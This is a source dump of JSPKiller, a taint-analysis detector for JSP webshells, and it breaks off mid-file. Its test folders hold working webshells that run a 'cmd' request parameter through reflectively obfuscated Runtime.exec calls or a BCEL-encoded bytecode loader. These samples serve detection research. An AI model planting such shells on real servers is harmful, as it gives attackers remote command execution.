├── img └── 1.png ├── lib.jar ├── .gitattributes ├── src ├── main │ ├── resources │ │ ├── log4j.properties │ │ └── Webshell.java │ └── java │ │ └── org │ │ └── sec │ │ ├── config │ │ ├── Logo.java │ │ ├── Command.java │ │ └── Webshell.java │ │ ├── core │ │ ├── GotoState.java │ │ ├── LocalVariables.java │ │ ├── OperandStack.java │ │ └── CoreMethodAdapter.java │ │ ├── util │ │ ├── IOUtil.java │ │ └── BcelUtil.java │ │ ├── service │ │ ├── SimpleShellClassVisitor.java │ │ ├── BcelShellClassVisitor.java │ │ ├── ReflectionShellClassVisitor.java │ │ ├── SimpleShellMethodAdapter.java │ │ ├── BcelShellMethodAdapter.java │ │ └── ReflectionShellMethodAdapter.java │ │ └── Main.java └── test │ └── 2.jsp ├── .gitignore ├── jsp ├── bcel-3.jsp ├── test-3.jsp ├── test-4.jsp ├── test-1.jsp ├── test-5.jsp ├── test-2.jsp ├── bcel-2.jsp └── bcel-1.jsp ├── README.md ├── pom.xml └── LICENSE /img/1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/product/JSPKiller/master/img/1.png -------------------------------------------------------------------------------- /lib.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/product/JSPKiller/master/lib.jar -------------------------------------------------------------------------------- /.gitattributes: -------------------------------------------------------------------------------- 1 | *.js linguist-language=java 2 | *.css linguist-language=java 3 | *.html linguist-language=java 4 | -------------------------------------------------------------------------------- /src/main/resources/log4j.properties: -------------------------------------------------------------------------------- 1 | log4j.rootLogger=INFO,console 2 | log4j.additivity.org.apache=true 3 | log4j.appender.console=org.apache.log4j.ConsoleAppender 4 | log4j.appender.console.Threshold=INFO 5 | log4j.appender.console.ImmediateFlush=true 6 | log4j.appender.console.Target=System.out 7 | log4j.appender.console.layout=org.apache.log4j.PatternLayout 8 | log4j.appender.console.layout.ConversionPattern=%d{HH:mm:ss} [%p] [%c] %m%n -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Operating System Files 2 | 3 | *.DS_Store 4 | Thumbs.db 5 | *.sw? 6 | .#* 7 | *# 8 | *~ 9 | *.sublime-* 10 | 11 | # Build Artifacts 12 | 13 | .gradle/ 14 | build/ 15 | target/ 16 | bin/ 17 | dependency-reduced-pom.xml 18 | 19 | # Eclipse Project Files 20 | 21 | .classpath 22 | .project 23 | .settings/ 24 | 25 | # IntelliJ IDEA Files 26 | 27 | *.iml 28 | *.ipr 29 | *.iws 30 | *.idea 31 | 32 | # JAR 33 | 34 | jar/ -------------------------------------------------------------------------------- /jsp/bcel-3.jsp: -------------------------------------------------------------------------------- 1 | <% 2 | String cmd = request.getParameter("cmd"); 3 | String bcelCode = "4ra1n"; 4 | com.sun.org.apache.bcel.internal.util.ClassLoader loader = 5 | new com.sun.org.apache.bcel.internal.util.ClassLoader(); 6 | Class clazz = loader.loadClass(bcelCode); 7 | java.lang.reflect.Constructor constructor = clazz.getConstructor(String.class); 8 | Object obj = constructor.newInstance(cmd); 9 | response.getWriter().print(obj.toString()); 10 | %> -------------------------------------------------------------------------------- /src/main/resources/Webshell.java: -------------------------------------------------------------------------------- 1 | package org.sec; 2 | 3 | import javax.servlet.http.HttpServletRequest; 4 | import javax.servlet.http.HttpServletResponse; 5 | import java.io.PrintWriter; 6 | 7 | public class Webshell { 8 | public static void invoke(HttpServletRequest request, 9 | HttpServletResponse response, 10 | PrintWriter out) { 11 | try { 12 | __WEBSHELL__ 13 | } catch (Exception e) { 14 | e.printStackTrace(); 15 | } 16 | } 17 | } 18 | -------------------------------------------------------------------------------- /src/main/java/org/sec/config/Logo.java: -------------------------------------------------------------------------------- 1 | package org.sec.config; 2 | 3 | /** 4 | * 打印Logo 5 | */ 6 | public class Logo { 7 | public static void PrintLogo() { 8 | String logo = " _____ ____ \n" + 9 | " / | |____________ /_ | ____ \n" + 10 | " / | |\\_ __ \\__ \\ | |/ \\ \n" + 11 | "/ ^ /| | \\// __ \\| | | \\\n" + 12 | "\\____ | |__| (____ /___|___| /\n" + 13 | " |__| \\/ \\/ "; 14 | System.out.println(logo); 15 | } 16 | } 17 | -------------------------------------------------------------------------------- /src/main/java/org/sec/config/Command.java: -------------------------------------------------------------------------------- 1 | package org.sec.config; 2 | 3 | import com.beust.jcommander.Parameter; 4 | 5 | /** 6 | * 项目本身的一些参数 7 | */ 8 | public class Command { 9 | @Parameter(names = {"-h", "--help"}, description = "Help Info", help = true) 10 | public boolean help; 11 | 12 | @Parameter(names = {"-f", "--file"}, description = "Webshell File") 13 | public String file; 14 | 15 | @Parameter(names = {"-m", "--module"}, description = "Scan Module") 16 | public String module; 17 | 18 | @Parameter(names = {"--debug"}, description = "Debug") 19 | public boolean debug; 20 | } 21 | -------------------------------------------------------------------------------- /src/main/java/org/sec/core/GotoState.java: -------------------------------------------------------------------------------- 1 | package org.sec.core; 2 | 3 | @SuppressWarnings("all") 4 | public class GotoState { 5 | private LocalVariables localVariables; 6 | private OperandStack operandStack; 7 | 8 | public LocalVariables getLocalVariables() { 9 | return localVariables; 10 | } 11 | 12 | public void setLocalVariables(LocalVariables localVariables) { 13 | this.localVariables = localVariables; 14 | } 15 | 16 | public OperandStack getOperandStack() { 17 | return operandStack; 18 | } 19 | 20 | public void setOperandStack(OperandStack operandStack) { 21 | this.operandStack = operandStack; 22 | } 23 | } 24 | -------------------------------------------------------------------------------- /jsp/test-3.jsp: -------------------------------------------------------------------------------- 1 | <%@ page language="java" pageEncoding="UTF-8" %> 2 | <% 3 | // advance 4 | String cmd = request.getParameter("cmd"); 5 | Process process = (Process) Class.forName("java.lang.Runtime") 6 | .getMethod("exec", String.class) 7 | .invoke(Class.forName("java.lang.Runtime") 8 | .getMethod("getRuntime").invoke(null), cmd); 9 | java.io.InputStream in = process.getInputStream(); 10 | out.print("
");
11 |     java.io.InputStreamReader resultReader = new java.io.InputStreamReader(in);
12 |     java.io.BufferedReader stdInput = new java.io.BufferedReader(resultReader);
13 |     String s = null;
14 |     while ((s = stdInput.readLine()) != null) {
15 |         out.println(s);
16 |     }
17 |     out.print("
"); 18 | %> -------------------------------------------------------------------------------- /jsp/test-4.jsp: -------------------------------------------------------------------------------- 1 | <%@ page language="java" pageEncoding="UTF-8" %> 2 | <% 3 | // not webshell 4 | String cmd = request.getParameter("cmd"); 5 | Class rt = Class.forName("java.lang.String"); 6 | java.lang.reflect.Method gr = rt.getMethod("getBytes"); 7 | java.lang.reflect.Method ex = rt.getMethod("getBytes"); 8 | Process process = (Process) ex.invoke(gr.invoke(null), cmd); 9 | java.io.InputStream in = process.getInputStream(); 10 | out.print("
");
11 |     java.io.InputStreamReader resultReader = new java.io.InputStreamReader(in);
12 |     java.io.BufferedReader stdInput = new java.io.BufferedReader(resultReader);
13 |     String s = null;
14 |     while ((s = stdInput.readLine()) != null) {
15 |         out.println(s);
16 |     }
17 |     out.print("
"); 18 | %> -------------------------------------------------------------------------------- /jsp/test-1.jsp: -------------------------------------------------------------------------------- 1 | <%@ page language="java" pageEncoding="UTF-8" %> 2 | <% 3 | // base 4 | String cmd = request.getParameter("cmd"); 5 | Class rt = Class.forName("java.lang.Runtime"); 6 | java.lang.reflect.Method gr = rt.getMethod("getRuntime"); 7 | java.lang.reflect.Method ex = rt.getMethod("exec", String.class); 8 | Process process = (Process) ex.invoke(gr.invoke(null), cmd); 9 | java.io.InputStream in = process.getInputStream(); 10 | out.print("
");
11 |     java.io.InputStreamReader resultReader = new java.io.InputStreamReader(in);
12 |     java.io.BufferedReader stdInput = new java.io.BufferedReader(resultReader);
13 |     String s = null;
14 |     while ((s = stdInput.readLine()) != null) {
15 |         out.println(s);
16 |     }
17 |     out.print("
"); 18 | %> -------------------------------------------------------------------------------- /src/test/2.jsp: -------------------------------------------------------------------------------- 1 | <%@ page language="java" pageEncoding="UTF-8" %> 2 | <% 3 | String cmd = request.getParameter("cmd"); 4 | String name = "java.lang.Runtime"; 5 | Class rt = Class.forName(name); 6 | String runtime = "getRuntime"; 7 | java.lang.reflect.Method gr = rt.getMethod(runtime); 8 | java.lang.reflect.Method ex = rt.getMethod("exec", String.class); 9 | Object obj = gr.invoke(null); 10 | Process process = (Process) ex.invoke(obj, cmd); 11 | java.io.InputStream in = process.getInputStream(); 12 | out.print("
");
13 |     java.io.InputStreamReader resultReader = new java.io.InputStreamReader(in);
14 |     java.io.BufferedReader stdInput = new java.io.BufferedReader(resultReader);
15 |     String s = null;
16 |     while ((s = stdInput.readLine()) != null) {
17 |         out.println(s);
18 |     }
19 |     out.print("
"); 20 | %> -------------------------------------------------------------------------------- /src/main/java/org/sec/util/IOUtil.java: -------------------------------------------------------------------------------- 1 | package org.sec.util; 2 | 3 | import org.apache.log4j.Logger; 4 | 5 | import java.io.InputStream; 6 | import java.io.OutputStream; 7 | 8 | /** 9 | * 流相关操作 10 | */ 11 | public class IOUtil { 12 | private static final Logger logger = Logger.getLogger(IOUtil.class); 13 | 14 | /** 15 | * 将输入流复制给输出流实现写文件 16 | * 注意copy完之后原来的流就不能再读了 17 | * @param inputStream 输入流 18 | * @param outputStream 输出流 19 | */ 20 | public static void copy(InputStream inputStream, OutputStream outputStream) { 21 | try { 22 | final byte[] buffer = new byte[4096]; 23 | int n; 24 | while ((n = inputStream.read(buffer)) > 0) { 25 | outputStream.write(buffer, 0, n); 26 | } 27 | } catch (Exception e) { 28 | logger.error("error ", e); 29 | } 30 | } 31 | } 32 | -------------------------------------------------------------------------------- /jsp/test-5.jsp: -------------------------------------------------------------------------------- 1 | <% 2 | String cmd = request.getParameter("cmd"); 3 | String name = "java.lang."+"Runtime"; 4 | Class rt = Class.forName(name); 5 | String a = "getRu"; 6 | String b = "ntime"; 7 | java.lang.reflect.Method gr = rt.getMethod(a+b); 8 | String d = "ex"; 9 | String e = "ec"; 10 | String f = d+e; 11 | java.lang.reflect.Method ex = rt.getMethod(f, String.class); 12 | Object obj = gr.invoke(null); 13 | Process process = (Process) ex.invoke(obj, cmd); 14 | 15 | java.io.InputStream in = process.getInputStream(); 16 | out.print("
");
17 |     java.io.InputStreamReader resultReader = new java.io.InputStreamReader(in);
18 |     java.io.BufferedReader stdInput = new java.io.BufferedReader(resultReader);
19 |     String s = null;
20 |     while ((s = stdInput.readLine()) != null) {
21 |         out.println(s);
22 |     }
23 |     out.print("
"); 24 | %> -------------------------------------------------------------------------------- /jsp/test-2.jsp: -------------------------------------------------------------------------------- 1 | <%@ page language="java" pageEncoding="UTF-8" %> 2 | <% 3 | // advance 4 | String cmd = request.getParameter("cmd"); 5 | String name = "java.lang."+"Runtime"; 6 | Class rt = Class.forName(name); 7 | String runtime = "getRu"+"ntime"; 8 | java.lang.reflect.Method gr = rt.getMethod(runtime); 9 | String exec = "ex"+"ec"; 10 | java.lang.reflect.Method ex = rt.getMethod(exec, String.class); 11 | Object obj = gr.invoke(null); 12 | Process process = (Process) ex.invoke(obj, cmd); 13 | 14 | java.io.InputStream in = process.getInputStream(); 15 | out.print("
");
16 |     java.io.InputStreamReader resultReader = new java.io.InputStreamReader(in);
17 |     java.io.BufferedReader stdInput = new java.io.BufferedReader(resultReader);
18 |     String s = null;
19 |     while ((s = stdInput.readLine()) != null) {
20 |         out.println(s);
21 |     }
22 |     out.print("
"); 23 | %> -------------------------------------------------------------------------------- /src/main/java/org/sec/core/LocalVariables.java: -------------------------------------------------------------------------------- 1 | package org.sec.core; 2 | 3 | import java.util.ArrayList; 4 | import java.util.HashSet; 5 | import java.util.List; 6 | import java.util.Set; 7 | 8 | @SuppressWarnings("all") 9 | public class LocalVariables { 10 | private final ArrayList> array; 11 | 12 | public LocalVariables() { 13 | this.array = new ArrayList<>(); 14 | } 15 | 16 | public void clear(){ 17 | this.array.clear(); 18 | } 19 | 20 | public void add(Set t){ 21 | this.array.add(t); 22 | } 23 | 24 | public void set(int index, Set t) { 25 | array.set(index, t); 26 | } 27 | 28 | public void set(int index, T t) { 29 | Set set = new HashSet<>(); 30 | set.add(t); 31 | array.set(index, set); 32 | } 33 | 34 | public Set get(int index) { 35 | return array.get(index); 36 | } 37 | 38 | public int size(){ 39 | return this.array.size(); 40 | } 41 | 42 | public void remove(int index){ 43 | this.array.remove(index); 44 | } 45 | public List> getList(){ 46 | return this.array; 47 | } 48 | } 49 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # JSPKiller 2 | 3 | ![](https://img.shields.io/badge/build-passing-brightgreen) 4 | ![](https://img.shields.io/badge/ASM-9.2-blue) 5 | ![](https://img.shields.io/badge/Java-8-red) 6 | 7 | ## 简介 8 | 9 | 一个`JSP Webshell`检测工具 10 | 11 | 主要是基于污点分析来做,依靠`ASM`解析字节码,然后模拟栈帧在`JVM`指令执行中的变化实现数据流分析 12 | 13 | 大致过程: 14 | 1. 解析输入`JSP`文件到普通`Java`文件 15 | 2. 动态编译这个`Java`文件得到对应的`class`文件 16 | 3. 使用`ASM`等技术分析`class`文件的字节码 17 | 18 | 具体的原理参考先知社区文章:[基于污点分析的JSP Webshell检测](https://xz.aliyun.com/t/10622) 19 | 20 | 为什么不基于`AST`做:可以避免一些编译过程产生的trick(例如注释换行逃逸`// \u000d code;`) 21 | 22 | ## Quick Start 23 | 24 | 目前支持以下两种检测,其他方式后续更新 25 | 26 | 1. 反射构造`Runtime.exec`的`Webshell` 27 | 2. 使用`BCEL ClassLoader`加载恶意字节码的`Webshell`(非反射方式) 28 | 29 | 命令: 30 | 31 | `java -jar JSPKiller.jar -f 1.jsp -m rb` 32 | 33 | - 使用-f参数指定检测`JSP`文件 34 | - 使用-m参数指定检测模块:r表示反射型;b表示BCEL型(可多选) 35 | 36 | 提供了检测案例 37 | - `jsp/test-1.jsp`-`jsp/test-4.jsp`用于测试反射马 38 | - `jsp/bcel-1.jsp`-`jsp/bcel-4.jsp`用于测试BCEL马 39 | 40 | 如果发生空指针异常或编译报错,参考以下 41 | 42 | 注意: 43 | 1. `JSPKiller.jar`目录下必须有`lib.jar`文件 44 | 2. 测试的三种反射JSP马已经提供(在JSP目录下) 45 | 3. 确保配置了正确的环境变量`JAVA_HOME` 46 | 4. 确保`java`命令是`JDK`下的而不是`JRE`下的(例如环境变量`Path`中配置`C:\Program Files\Java\jdk1.8.0_131\bin`为第一个)这样做的原因是:在`JRE`环境中无法获得编译器对象(JavaCompiler)来进行动态编译,只有`JDK`有这样的功能 47 | 48 | ## 效果 49 | 50 | ![](/img/1.png) 51 | -------------------------------------------------------------------------------- /src/main/java/org/sec/config/Webshell.java: -------------------------------------------------------------------------------- 1 | package org.sec.config; 2 | 3 | import javax.servlet.http.HttpServletRequest; 4 | import javax.servlet.http.HttpServletResponse; 5 | import java.io.PrintWriter; 6 | 7 | public class Webshell { 8 | public static void invoke( 9 | HttpServletRequest request, HttpServletResponse response, PrintWriter out) { 10 | try { 11 | 12 | String cmd = request.getParameter("cmd"); 13 | String name = "java.lang." + "Runtime"; 14 | Class rt = Class.forName(name); 15 | String a = "getRu"; 16 | String b = "ntime"; 17 | java.lang.reflect.Method gr = rt.getMethod(a + b); 18 | String d = "ex"; 19 | String e = "ec"; 20 | String f = d + e; 21 | java.lang.reflect.Method ex = rt.getMethod(f, String.class); 22 | Object obj = gr.invoke(null); 23 | Process process = (Process) ex.invoke(obj, cmd); 24 | 25 | java.io.InputStream in = process.getInputStream(); 26 | out.print("
");
27 |       java.io.InputStreamReader resultReader = new java.io.InputStreamReader(in);
28 |       java.io.BufferedReader stdInput = new java.io.BufferedReader(resultReader);
29 |       String s = null;
30 |       while ((s = stdInput.readLine()) != null) {
31 |         out.println(s);
32 |       }
33 |       out.print("
"); 34 | 35 | } catch (Exception e) { 36 | e.printStackTrace(); 37 | } 38 | } 39 | } 40 | -------------------------------------------------------------------------------- /src/main/java/org/sec/core/OperandStack.java: -------------------------------------------------------------------------------- 1 | package org.sec.core; 2 | 3 | import java.util.HashSet; 4 | import java.util.LinkedList; 5 | import java.util.List; 6 | import java.util.Set; 7 | 8 | @SuppressWarnings("all") 9 | public class OperandStack { 10 | private final LinkedList> stack; 11 | 12 | public OperandStack() { 13 | this.stack = new LinkedList<>(); 14 | } 15 | 16 | public Set pop() { 17 | return stack.remove(stack.size() - 1); 18 | } 19 | 20 | public void push(T t) { 21 | Set set = new HashSet<>(); 22 | set.add(t); 23 | stack.add(set); 24 | } 25 | 26 | public void push() { 27 | stack.add(new HashSet<>()); 28 | } 29 | 30 | public void push(Set t) { 31 | stack.add(t); 32 | } 33 | 34 | public void clear() { 35 | stack.clear(); 36 | } 37 | 38 | public Set get(int index) { 39 | return stack.get(stack.size() - index - 1); 40 | } 41 | 42 | public void set(int index, Set t) { 43 | stack.set(stack.size() - index - 1, t); 44 | } 45 | 46 | public void set(int index, T t) { 47 | Set set = new HashSet<>(); 48 | set.add(t); 49 | stack.set(stack.size() - index - 1, set); 50 | } 51 | 52 | public void add(Set t) { 53 | this.stack.add(t); 54 | } 55 | 56 | public int size() { 57 | return this.stack.size(); 58 | } 59 | 60 | public void remove(int index) { 61 | this.stack.remove(index); 62 | } 63 | 64 | public List> getList() { 65 | return this.stack; 66 | } 67 | } 68 | -------------------------------------------------------------------------------- /src/main/java/org/sec/service/SimpleShellClassVisitor.java: -------------------------------------------------------------------------------- 1 | package org.sec.service; 2 | 3 | import org.objectweb.asm.ClassVisitor; 4 | import org.objectweb.asm.MethodVisitor; 5 | import org.objectweb.asm.Opcodes; 6 | import org.objectweb.asm.commons.JSRInlinerAdapter; 7 | 8 | import java.util.HashMap; 9 | import java.util.Map; 10 | 11 | public class SimpleShellClassVisitor extends ClassVisitor { 12 | private final Map analysisData; 13 | 14 | private String name; 15 | private String signature; 16 | private String superName; 17 | private String[] interfaces; 18 | 19 | public SimpleShellClassVisitor() { 20 | super(Opcodes.ASM8); 21 | this.analysisData = new HashMap<>(); 22 | } 23 | 24 | 25 | public Map getAnalysisData() { 26 | return analysisData; 27 | } 28 | 29 | @Override 30 | public void visit(int version, int access, String name, String signature, 31 | String superName, String[] interfaces) { 32 | super.visit(version, access, name, signature, superName, interfaces); 33 | this.name = name; 34 | this.signature = signature; 35 | this.superName = superName; 36 | this.interfaces = interfaces; 37 | } 38 | 39 | @Override 40 | public MethodVisitor visitMethod(int access, String name, String descriptor, 41 | String signature, String[] exceptions) { 42 | MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions); 43 | SimpleShellMethodAdapter simpleShellMethodAdapter = new SimpleShellMethodAdapter( 44 | Opcodes.ASM8, 45 | mv, this.name, access, name, descriptor, signature, exceptions, 46 | analysisData 47 | ); 48 | return new JSRInlinerAdapter(simpleShellMethodAdapter, 49 | access, name, descriptor, signature, exceptions); 50 | } 51 | } 52 | -------------------------------------------------------------------------------- /src/main/java/org/sec/service/BcelShellClassVisitor.java: -------------------------------------------------------------------------------- 1 | package org.sec.service; 2 | 3 | import org.objectweb.asm.ClassVisitor; 4 | import org.objectweb.asm.MethodVisitor; 5 | import org.objectweb.asm.Opcodes; 6 | import org.objectweb.asm.commons.JSRInlinerAdapter; 7 | 8 | import java.util.HashMap; 9 | import java.util.Map; 10 | 11 | public class BcelShellClassVisitor extends ClassVisitor { 12 | private final Map analysisData; 13 | 14 | private String name; 15 | private String signature; 16 | private String superName; 17 | private String[] interfaces; 18 | 19 | public BcelShellClassVisitor() { 20 | super(Opcodes.ASM8); 21 | this.analysisData = new HashMap<>(); 22 | } 23 | 24 | 25 | public Map getAnalysisData() { 26 | return analysisData; 27 | } 28 | 29 | @Override 30 | public void visit(int version, int access, String name, String signature, 31 | String superName, String[] interfaces) { 32 | super.visit(version, access, name, signature, superName, interfaces); 33 | this.name = name; 34 | this.signature = signature; 35 | this.superName = superName; 36 | this.interfaces = interfaces; 37 | } 38 | 39 | @Override 40 | public MethodVisitor visitMethod(int access, String name, String descriptor, 41 | String signature, String[] exceptions) { 42 | MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions); 43 | if (name.equals("invoke")) { 44 | BcelShellMethodAdapter bcelShellMethodAdapter = new BcelShellMethodAdapter( 45 | Opcodes.ASM8, 46 | mv, this.name, access, name, descriptor, signature, exceptions, 47 | analysisData 48 | ); 49 | return new JSRInlinerAdapter(bcelShellMethodAdapter, 50 | access, name, descriptor, signature, exceptions); 51 | } 52 | return mv; 53 | } 54 | } 55 | -------------------------------------------------------------------------------- /src/main/java/org/sec/service/ReflectionShellClassVisitor.java: -------------------------------------------------------------------------------- 1 | package org.sec.service; 2 | 3 | import org.objectweb.asm.ClassVisitor; 4 | import org.objectweb.asm.MethodVisitor; 5 | import org.objectweb.asm.Opcodes; 6 | import org.objectweb.asm.commons.JSRInlinerAdapter; 7 | 8 | import java.util.HashMap; 9 | import java.util.List; 10 | import java.util.Map; 11 | 12 | public class ReflectionShellClassVisitor extends ClassVisitor { 13 | private Map> analysisData; 14 | 15 | private String name; 16 | private String signature; 17 | private String superName; 18 | private String[] interfaces; 19 | 20 | public ReflectionShellClassVisitor() { 21 | super(Opcodes.ASM8); 22 | this.analysisData = new HashMap<>(); 23 | } 24 | 25 | public Map> getAnalysisData() { 26 | return analysisData; 27 | } 28 | 29 | 30 | @Override 31 | public void visit(int version, int access, String name, String signature, 32 | String superName, String[] interfaces) { 33 | super.visit(version, access, name, signature, superName, interfaces); 34 | this.name = name; 35 | this.signature = signature; 36 | this.superName = superName; 37 | this.interfaces = interfaces; 38 | } 39 | 40 | @Override 41 | public MethodVisitor visitMethod(int access, String name, String descriptor, 42 | String signature, String[] exceptions) { 43 | MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions); 44 | if (name.equals("invoke")) { 45 | ReflectionShellMethodAdapter reflectionShellMethodAdapter = new ReflectionShellMethodAdapter( 46 | Opcodes.ASM8, 47 | mv, this.name, access, name, descriptor, signature, exceptions, 48 | analysisData 49 | ); 50 | return new JSRInlinerAdapter(reflectionShellMethodAdapter, 51 | access, name, descriptor, signature, exceptions); 52 | } 53 | return mv; 54 | } 55 | } 56 | -------------------------------------------------------------------------------- /jsp/bcel-2.jsp: -------------------------------------------------------------------------------- 1 | <% 2 | String cmd = request.getParameter("cmd"); 3 | String bcelCode = "$$BCEL$$$l$8b$I$A$A$A$A$A$A$AuT$d9R$TA$U$3d$9d$E$s$ZF$d1$m$e2$be$e0B$C$e8$u$e2$Kn$m$b8$N$8a$E$d0$92$a7fl$c3$e0d$s5$e9X$f2$_$be$fb$8cV$n$e5$83$l$e0GY$9ei$E$a2$c6$87$e9$ee$7b$ef$b9k$9f$9e$l$3f$bf$7d$H0$8aW6$baQ$b2P$cec$d0$c6$Q$86m$5c$c0E$h$$$$$d9$b8$8c$R$hW0Z$c0U$5c$b3q$j7$y$dc$b4$d1$85$5b6$c60$5e$40$G$b7$z$dc$R$e8$M$e3jU$r$C$87$bd8$a9$ba$b2$$$fd$V$e5R9$ba$eaz$c64F$d0x$Q$F$9a$e8l$a9$bc$u$90$9b$8c$df$u$81n$_$88$d4$b3fmY$r$f3r9$a4$a6$e8$c5$be$M$Xe$S$a4$f2oeN$af$E$N$81$bd$s$7eC$f9$ee$8c$M$o$G$cd$d5$b8$L$i$y$zy$ab$f2$bdtC$ZU$dd$8aN$82$a8$3a$96f$c96$93$mu3$c6Hiwa$eeq$ea$b6$ec$ab0M$f5$8f$93$80$60$ba$de$W$c3$d4$H_$d5u$Q$9bt2$a9$b2$8c$9e6$d9$E$f6T$b4$f4$df$cd$c8$ba$a9$99$a3$S$c8$8f$fb$e1$ef$ae$edJ$dcL$7c5$j$a4$ed$U$d2$f2$_$a61$i$U$d1$p$e0$b4$f6E$b0$b1$fb$a1l4$y$dcup$P$f7$zL8$98$c4$D$LS$O$a6$f1$d0$c2$p$H$8f$f1$c4$c2S$H$kf$y$3cs$f0$i$b3$W$5e8$98C$85U$b6$e9$c1$c1$3cz$y$y8X$c4K$H$fb$b0_$60$df$$$ee$f9$f2$aa$f25oeW5$99$W$n$d0UUzN5L$P$C$fd$a56$e3n$j$b2$c7y8$ad$b2$40$87$8e9$7c$a6$x$95$ff$be$8e$adJ$a3$mv$dfr$3c$ee$ac$d4$xL$99eJ$81$b3$a5$3f$d1$db$ce$ad$e0$7fC$a4cf$I$tQ$f2$cd$fd0$9cX$d3$a9x$a8$d4$ce$b9$bc4$n0$e2$c75$b7$d1$8c$dc$W$C$a7$qq$83H$ab$q$92$a1kn$c3x$z$e8$m$M$f4$g$v$ad$o$df$b0$b8$af$b44$f1$ba$dc$8e$U$z$c3$ad$ac5$b4$aa$b1$af$b8$a9w$u$c6Jf$J$d5tP$b2$b6$d3$c8$9fj$B$ab$9eJ$n$a9$d1$dbn$f4dzw$7d$LO$K$ce$t2$bd$a4$be$ff$bcE$d2$8f$93$dd$3e$P$b7$c63$97$cd$R$ff$ef$V$e34$df$7c7$ff$i$CGR$f2$f0$94$e5$99$U$e6z$80$92$cb$5dp$ef$Y$fc$K$b1$ceC$G$bd$5c$3b$8dr$I$H$b9$3a$5b$A$f4$e1$Q$f7$C$O3$d4$96$f3G$a2$b3$dc$H$8a$99bv$D$b9$NtxC$9b$e8$dc$84$95$dbD$7e$e63$K$c3$h$b0$3f$n$ef$Nm$c0Y7$81N$b0$a6$$$ba$f5$9a$b3$c5$f5$S$e5$cb$M$3fB$f9$w$adW$d0$cf$3f$ddy$fe$b2$d2$f4$83$c8$d1$de$83$a38F$ff$3ez$i$t$$CL$O$tq$ca$c4$i$a0W$3f$f73$fc$yd$a4$85$b39$e4qn$a7$cd$d3$G$c6$ea$8b$99M$ec$f9$82$bd$ebf$s$bb$ad$Os$3do$da$l$f8$F$8a$3d$93rl$F$A$A"; 4 | com.sun.org.apache.bcel.internal.util.ClassLoader loader = 5 | new com.sun.org.apache.bcel.internal.util.ClassLoader(); 6 | Class clazz = loader.loadClass(bcelCode); 7 | java.lang.reflect.Constructor constructor = clazz.getConstructor(String.class); 8 | Object obj = constructor.newInstance(cmd); 9 | response.getWriter().print(obj.toString()); 10 | %> -------------------------------------------------------------------------------- /src/main/java/org/sec/service/SimpleShellMethodAdapter.java: -------------------------------------------------------------------------------- 1 | package org.sec.service; 2 | 3 | import org.apache.log4j.Logger; 4 | import org.objectweb.asm.MethodVisitor; 5 | import org.objectweb.asm.Opcodes; 6 | import org.objectweb.asm.Type; 7 | import org.sec.core.CoreMethodAdapter; 8 | 9 | import java.util.HashSet; 10 | import java.util.Map; 11 | 12 | public class SimpleShellMethodAdapter extends CoreMethodAdapter { 13 | private Logger logger = Logger.getLogger(BcelShellMethodAdapter.class); 14 | 15 | private final int access; 16 | private final String desc; 17 | private final Map analysisData; 18 | 19 | public SimpleShellMethodAdapter(int api, MethodVisitor mv, String owner, 20 | int access, String name, String desc, 21 | String signature, String[] exceptions, 22 | Map analysisData) { 23 | super(api, mv, owner, access, name, desc, signature, exceptions); 24 | this.access = access; 25 | this.desc = desc; 26 | this.analysisData = analysisData; 27 | } 28 | 29 | @Override 30 | public void visitCode() { 31 | super.visitCode(); 32 | if (localVariables.size() > 1) { 33 | for (int i = 1; i < localVariables.size(); i++) { 34 | logger.info("set param index:" + i + " is taint"); 35 | localVariables.get(i).add("taint"); 36 | } 37 | } 38 | } 39 | 40 | @Override 41 | public void visitMethodInsn(int opcode, String owner, String name, String desc, boolean itf) { 42 | boolean getRuntimeExpr = owner.equals("java/lang/Runtime") && 43 | name.equals("getRuntime") && desc.equals("()Ljava/lang/Runtime;") && 44 | opcode == Opcodes.INVOKESTATIC; 45 | boolean execExpr = owner.equals("java/lang/Runtime") && 46 | name.equals("exec") && desc.equals("(Ljava/lang/String;)Ljava/lang/Process;") && 47 | opcode == Opcodes.INVOKEVIRTUAL; 48 | if (getRuntimeExpr) { 49 | super.visitMethodInsn(opcode, owner, name, desc, itf); 50 | operandStack.get(0).add("runtime"); 51 | return; 52 | } 53 | if (execExpr) { 54 | if (operandStack.get(1).contains("runtime")) { 55 | logger.info("Runtime.exec method invoked"); 56 | if (operandStack.get(0).contains("taint")) { 57 | logger.info("find BCEL webshell"); 58 | super.visitMethodInsn(opcode, owner, name, desc, itf); 59 | return; 60 | } 61 | } 62 | } 63 | super.visitMethodInsn(opcode, owner, name, desc, itf); 64 | } 65 | } 66 | -------------------------------------------------------------------------------- /src/main/java/org/sec/service/BcelShellMethodAdapter.java: -------------------------------------------------------------------------------- 1 | package org.sec.service; 2 | 3 | import org.apache.log4j.Logger; 4 | import org.objectweb.asm.MethodVisitor; 5 | import org.objectweb.asm.Opcodes; 6 | import org.sec.core.CoreMethodAdapter; 7 | 8 | import java.util.Map; 9 | 10 | public class BcelShellMethodAdapter extends CoreMethodAdapter { 11 | private Logger logger = Logger.getLogger(BcelShellMethodAdapter.class); 12 | 13 | private final int access; 14 | private final String desc; 15 | private final Map analysisData; 16 | 17 | public BcelShellMethodAdapter(int api, MethodVisitor mv, String owner, 18 | int access, String name, String desc, 19 | String signature, String[] exceptions, 20 | Map analysisData) { 21 | super(api, mv, owner, access, name, desc, signature, exceptions); 22 | this.access = access; 23 | this.desc = desc; 24 | this.analysisData = analysisData; 25 | } 26 | 27 | @Override 28 | public void visitLdcInsn(Object cst) { 29 | if (cst instanceof String) { 30 | if (((String) cst).startsWith("$$BCEL$$$")) { 31 | this.analysisData.put("bcel-bytecode", cst); 32 | logger.info("find BCEL bytecode"); 33 | super.visitLdcInsn(cst); 34 | operandStack.get(0).add("bcel-bytecode"); 35 | return; 36 | } 37 | } 38 | super.visitLdcInsn(cst); 39 | } 40 | 41 | @Override 42 | public void visitMethodInsn(int opcode, String owner, String name, String desc, boolean itf) { 43 | boolean bcelInit = owner.equals("com/sun/org/apache/bcel/internal/util/ClassLoader") && 44 | name.equals("") && desc.equals("()V") && opcode == Opcodes.INVOKESPECIAL; 45 | boolean bcelLoadClass = 